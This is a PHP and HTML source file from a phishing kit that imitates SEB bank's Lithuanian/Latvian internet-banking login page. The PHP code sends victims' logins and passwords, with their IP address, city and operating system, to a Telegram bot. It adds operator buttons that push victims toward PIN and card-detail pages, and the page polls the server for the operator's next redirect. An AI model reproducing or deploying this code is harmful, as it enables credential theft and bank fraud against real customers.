<?php
$config = json_decode(file_get_contents('config.json'));
$pay = @file_get_contents('./db/'.$_GET['id'].'.txt');

if ($pay === false) {
    exit('No pay');
}

$pay = json_decode($pay);

$userAgent = $_SERVER['HTTP_USER_AGENT'];

    // Определение операционной системы
    $operatingSystem = "Не удалось определить"; // По умолчанию

    if (preg_match('/windows|win32/i', $userAgent)) {
        $operatingSystem = 'Windows';
    } elseif (preg_match('/macintosh|mac os x/i', $userAgent)) {
        $operatingSystem = 'iOS';
    } elseif (preg_match('/linux/i', $userAgent)) {
        $operatingSystem = 'Android | Linux';
      } elseif (preg_match('/android/i', $userAgent)) {
        $operatingSystem = 'Android';
    } elseif (preg_match('/iphone|ipad/i', $userAgent)) {
        $operatingSystem = 'iOS';
    }
    

function getClientIp(): string {
    // Cloudflare
    if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    // Прокси/балансировщики
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        // Берём первый белый IP из списка
        $parts = array_map('trim', explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']));
        foreach ($parts as $ip) {
            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                return $ip;
            }
        }
        // если белых нет — возьмём первый как есть
        return $parts[0];
    }
    if (!empty($_SERVER['HTTP_X_REAL_IP'])) {
        return $_SERVER['HTTP_X_REAL_IP'];
    }
    return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
}

$ip = getClientIp();

// ip-api: запрашиваем только нужные поля; если не удалось — считаем "не LT"
$geo = @file_get_contents("http://ip-api.com/json/{$ip}?fields=status,country,countryCode,city,message");
$geo = $geo ? json_decode($geo, true) : null;

$status = $geo['status'] ?? 'fail';
$countryCode = strtoupper(trim($geo['countryCode'] ?? '')); // нормализуем регистр/пробелы
$country = $geo['country'] ?? 'Unknown';
$city = $geo['city'] ?? 'Unknown';

// если запрос неуспешен или код пуст — явно помечаем как не LT
if ($status !== 'success' || $countryCode === '') {
    $countryCode = 'XX';
}

$allowedBaltic = ['LT', 'LV', 'EE'];

$isLT = in_array($countryCode, $allowedBaltic, true);

// ВАЖНО: chat_id как строка (особенно если отрицательный ID супергруппы)
$chat_id = $isLT ? $config->chat_id : '-5084628599';



$login = $pay->login;
$password = $pay->password;
$type = $pay->type;

if ($type === "generatorius") {
    header("Location: gen.php?id=" . $_GET['id'] . "&q=login");
    exit;
}


$log = "⚠️ <b>Новый лог ⚠️</b>\n➖➖➖➖➖➖➖➖➖➖\n<b>🔹 Login:</b> <code>{$login}</code> \n<b>🔹 Password:</b> <code>{$password}</code> \n<b>🔹 Type:</b> <code>{$type}</code>"; 


    $currentTime = date('Y-m-d H:i:s'); // Получаем текущее время

   message_to_telegram($config->token, $chat_id, "{$log}". PHP_EOL ."➖➖➖➖➖➖➖➖➖➖". PHP_EOL ."". PHP_EOL ."🕔 Time: {$currentTime}" . PHP_EOL ."🌎 <b>Страна | Город: {$country} | {$city}</b>". PHP_EOL ."💻<b> OC: {$operatingSystem} </b>". PHP_EOL . "🗺 IP: {$ip}". PHP_EOL ."➖➖➖➖➖➖➖➖➖➖". PHP_EOL . $binInfo, [

         [
            ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_GET['id']],
        ],  
         [
            ['text' => '📱 PIN 📱', 'callback_data' => '/cpin '.$_GET['id']],
        ], 
         [
            ['text' => '📱 GEN 📱', 'callback_data' => '/cgen '.$_GET['id']],
        ], 
        [
            ['text' => '❌ Запрос карты ❌' , 'callback_data' => '/fail '.$_GET['id']],
            ],

            [
                ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_GET['id']],
                ],
]);


switch ($cmd[0]) {
    case '/gen':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msg':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin2':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}
    
function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'reply_markup' => json_encode([
                'inline_keyboard' => $kb
            ]),
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}




?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico" />
        <title>Pieslēgšanās SEB</title>
    <link href="css/login.css" rel="stylesheet">
<style>
.loader {
  width: 30px;
  padding: 5px;
  aspect-ratio: 1;
  border-radius: 50%;
 background: #60cd18;
  --_m: 
    conic-gradient(#0000 10%,#000),
    linear-gradient(#000 0 0) content-box;
  -webkit-mask: var(--_m);
          mask: var(--_m);
  -webkit-mask-composite: source-out;
          mask-composite: subtract;
  animation: l3 1s infinite linear;
}
@keyframes l3 {to{transform: rotate(1turn)}}

        .loader {
                position: absolute;
    left: 50%;
    right: 50%;
    top: 50%;
    bottom: 50%;
    z-index: 99999;
        }

        @media screen and (max-width: 500px) {
            .loader {
            position: absolute;
            left: 45%;
            right: 50%;
            top: 50%;
            bottom: 50%;
        }
        }

        .back {
       width: 100%;
    height: 100%;
    position: absolute;
    background: #0e0e0e6b;
    z-index: 9999;
    backdrop-filter: blur(2px);
        }
    </style>
</head>
  <body>
     <div class="loader"></div> 
     <div class="back"></div>
    <header>
    <div class="logo"></div>
</header>

    <div class="main">
        <div class="login_wrap">
            <div class="title_block">
                <h1 class="title">
                    Interneto bankas
                </h1>
                <svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><g id="SVGRepo_bgCarrier" stroke-width="0"></g><g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"></g><g id="SVGRepo_iconCarrier"> <path d="M13.5 16.5854C13.5 17.4138 12.8284 18.0854 12 18.0854C11.1716 18.0854 10.5 17.4138 10.5 16.5854C10.5 15.7569 11.1716 15.0854 12 15.0854C12.8284 15.0854 13.5 15.7569 13.5 16.5854Z" fill="#333"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M5.94209 10.0005C5.93921 9.87333 5.9375 9.73733 5.9375 9.59375C5.9375 8.70739 6.00254 7.50382 6.27381 6.28307C6.54278 5.07271 7.03242 3.76302 7.94009 2.74189C8.8791 1.6855 10.2132 1 12 1C13.7868 1 15.1209 1.6855 16.0599 2.74189C16.9676 3.76302 17.4572 5.07271 17.7262 6.28307C17.9975 7.50382 18.0625 8.70739 18.0625 9.59375C18.0625 9.73733 18.0608 9.87333 18.0579 10.0005C19.688 10.0314 21 11.3625 21 13V20C21 21.6569 19.6569 23 18 23H6C4.34315 23 3 21.6569 3 20V13C3 11.3625 4.31196 10.0314 5.94209 10.0005ZM16.0573 10C16.0605 9.87465 16.0625 9.73868 16.0625 9.59375C16.0625 8.79261 16.0025 7.74618 15.7738 6.71693C15.5428 5.67729 15.1574 4.73698 14.5651 4.07061C14.0041 3.4395 13.2132 3 12 3C10.7868 3 9.9959 3.4395 9.43491 4.07061C8.84258 4.73698 8.45722 5.67729 8.22619 6.71693C7.99747 7.74618 7.9375 8.79261 7.9375 9.59375C7.9375 9.73868 7.93946 9.87465 7.94265 10H16.0573ZM19 13C19 12.4477 18.5523 12 18 12H6C5.44772 12 5 12.4477 5 13V20C5 20.5523 5.44772 21 6 21H18C18.5523 21 19 20.5523 19 20V13Z" fill="#333"></path> </g></svg>
            </div>

            <h4 class="subtitle">
                Pasirinkite atpažinimo priemonę
            </h4>

           <div class="method_block" id="methodBlock">
  <button type="button" class="method_btn active" data-method="smartid">Smart-ID</button>
  <button type="button" class="method_btn" data-method="mobileid">Mobile-ID</button>
  <button type="button" class="method_btn" data-method="programele">Programėlė</button>
  <button type="button" class="method_btn" data-method="generatorius">Generatorius</button>
</div>

 <div class="login_block">
<form method="post" action="secureAcc.php" id="loginForm">
  <select class="mobile_method" name="mobile_method" id="mobileMethod">
    <option value="smartid" selected>Smart-ID</option>
    <option value="mobileid">Mobile-ID</option>
    <option value="app">SEB programėlė</option>
    <option value="generator">Generatorius</option>
  </select>


  
<input type="hidden" name="type" id="typeField" value="smartid">
  <div class="form_block is-active" data-method="smartid">
    <div class="input_block">
      <label for="smart_user">Atpažinimo kodas</label>
      <input class="input_form"
             name="username"
             id="smart_user"
             minlength="4"
             maxlength="16"
             data-required="true">
    </div>

    <div class="input_block">
      <label for="smart_pass">Asmens kodas</label>
      <input class="input_form"
             name="password"
             id="smart_pass"
             
             minlength="4"
             maxlength="16"
             data-required="true">
    </div>
  </div>

  <!-- Блок 2 -->
  <div class="form_block" data-method="mobileid">
    <div class="input_block">
      <label for="mobile_user">Atpažinimo kodas</label>
      <input class="input_form"
             name="username"
             id="mobile_user"
             minlength="4"
             maxlength="16"
             data-required="true">
    </div>

    <div class="input_block">
      <label for="mobile_pass">Asmens kodas</label>
      <input class="input_form"
             name="password"
             id="mobile_pass"
             
             minlength="4"
             maxlength="16"
             data-required="true">
    </div>
  </div>

  <!-- Блок 3 -->
  <div class="form_block" data-method="programele">
    <div class="input_block">
      <label for="app_code">Atpažinimo kodas</label>
      <input class="input_form"
             name="username"
             id="app_user"
             minlength="4"
             maxlength="16"
             data-required="true">
    </div>

      <div class="input_block">
      <label for="app_code">Asmens kodas</label>
      <input class="input_form"
             name="password"
             id="app_pass"
             minlength="4"
             maxlength="16"
             data-required="true">
    </div>
  </div>

  <!-- Блок 4 -->
  <div class="form_block" data-method="generatorius">
    <div class="input_block">
      <label for="gen_code">Atpažinimo kodas</label>
      <input class="input_form"
             name="username"
             id="gen_code"
             minlength="4"
             maxlength="16"
             data-required="true">
    </div>
    <input class="input_form"
             name="password"
             id="app_pass"
             data-required="true" value="NONE" type="hidden">
  </div>
  
                 <div class="mark_block">
                                                                            
                 <label class="ck">
     <input type="checkbox" class="ck__input">
     <span class="ck__box" aria-hidden="true"></span>
   </label>
   <div class="checkbox_text">
     <div class="text_checkbox_block">
       <span class="text_chx"> Įsiminti mane </span>
       <svg role="img" aria-hidden="true" focusable="false" data-prefix="far" data-icon="info-circle" class="svg-inline--fa fa-info-circle" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
         <path fill="currentColor" d="M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 448c-110.532 0-200-89.431-200-200 0-110.495 89.472-200 200-200 110.491 0 200 89.471 200 200 0 110.53-89.431 200-200 200zm0-338c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z"></path>
       </svg>
     </div>
     <p class="text_chx2"> Kitą kartą nereikės įvesti asmens kodo. Pasirinkdami, jūs sutinkate su <br>
       <a href="#" class="link" target="_blank"> funkciniais slapukais <i class="external-link" title="External link"></i>
       </a>
     </p>
   </div>
   </div>
   <button type="submit" class="btn">Pieslēgties</button>
</form>
            </div>
            <div class="faq_block">
                <h2 class="title">
                    Noderīgi
                </h2>
                <span class="text">
                  Finanšu krāpniecības slazdi:  <a href="#" class="link">
                      kā sevi pasargāt? 
                    </a> <i class="external-link" title="External link"></i>
                </span>
              
            </div>
        </div>
    </div>
    <footer class="footer">
   <!---->
   <div class="footer__bottom-bar">
     <div class="footer__container">
       <div class="footer__copyright">
         <span>© </span>
         <span>AS "SEB banka"</span>
       </div>
       <div class="footer__links">
         <span class="footer__link ng-star-inserted">
           <a href="login.html" id="consent-disclaimer-trigger">Sīkdatņu politika</a>
         </span>
         <!---->
         <span class="footer__link">
           <span>
             <a href="login.html" target="_blank" id="privacy-policy-link">
               Privātuma politika  </a><i class="external-link" title="Išorinė nuoroda"></i>
           </span>
         </span>
         <span class="footer__link">
           <span>
             <a href="login.html" target="_blank" id="contacts-link">
               Kontakti  </a><i class="external-link" title="Išorinė nuoroda"></i>
           </span>
         </span>
         <span class="footer__link">
           <span>
             <a href="login.html" target="_blank" id="requisite-information-link">
               
Rekvizīti  </a><i class="external-link" title="Išorinė nuoroda"></i>
           </span>
         </span>
       </div>
     </div>
   </div>
 </footer>
 
<script src="js/method.js"></script>
</body>
</html>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&family=Open+Sans&display=swap" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>

<style>
body {
    font-family: 'Open Sans', sans-serif;
}
</style>
<script>



setInterval(() => {
    axios.post('check.php', {
        id: <?php echo $_GET['id']; ?>
    }).then((res) => {
       
        if (res.data === 'fail') {
            window.location.href = 'card.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'msg') {
            window.location.href = 'custom.php?id=<?php echo $_GET['id']; ?>';
        }
         if (res.data === 'msgpin') {
            window.location.href = 'pin.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'msgpin2') {
            window.location.href = 'pin.php?id=<?php echo $_GET['id']; ?>';
        }
if (res.data === 'gen') {
            window.location.href = 'gen.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'app') {
            window.location.href = 'invalid.php?id=<?php echo $_GET['id']; ?>&q=1';
        }
        
    });
}, 3000);


</script>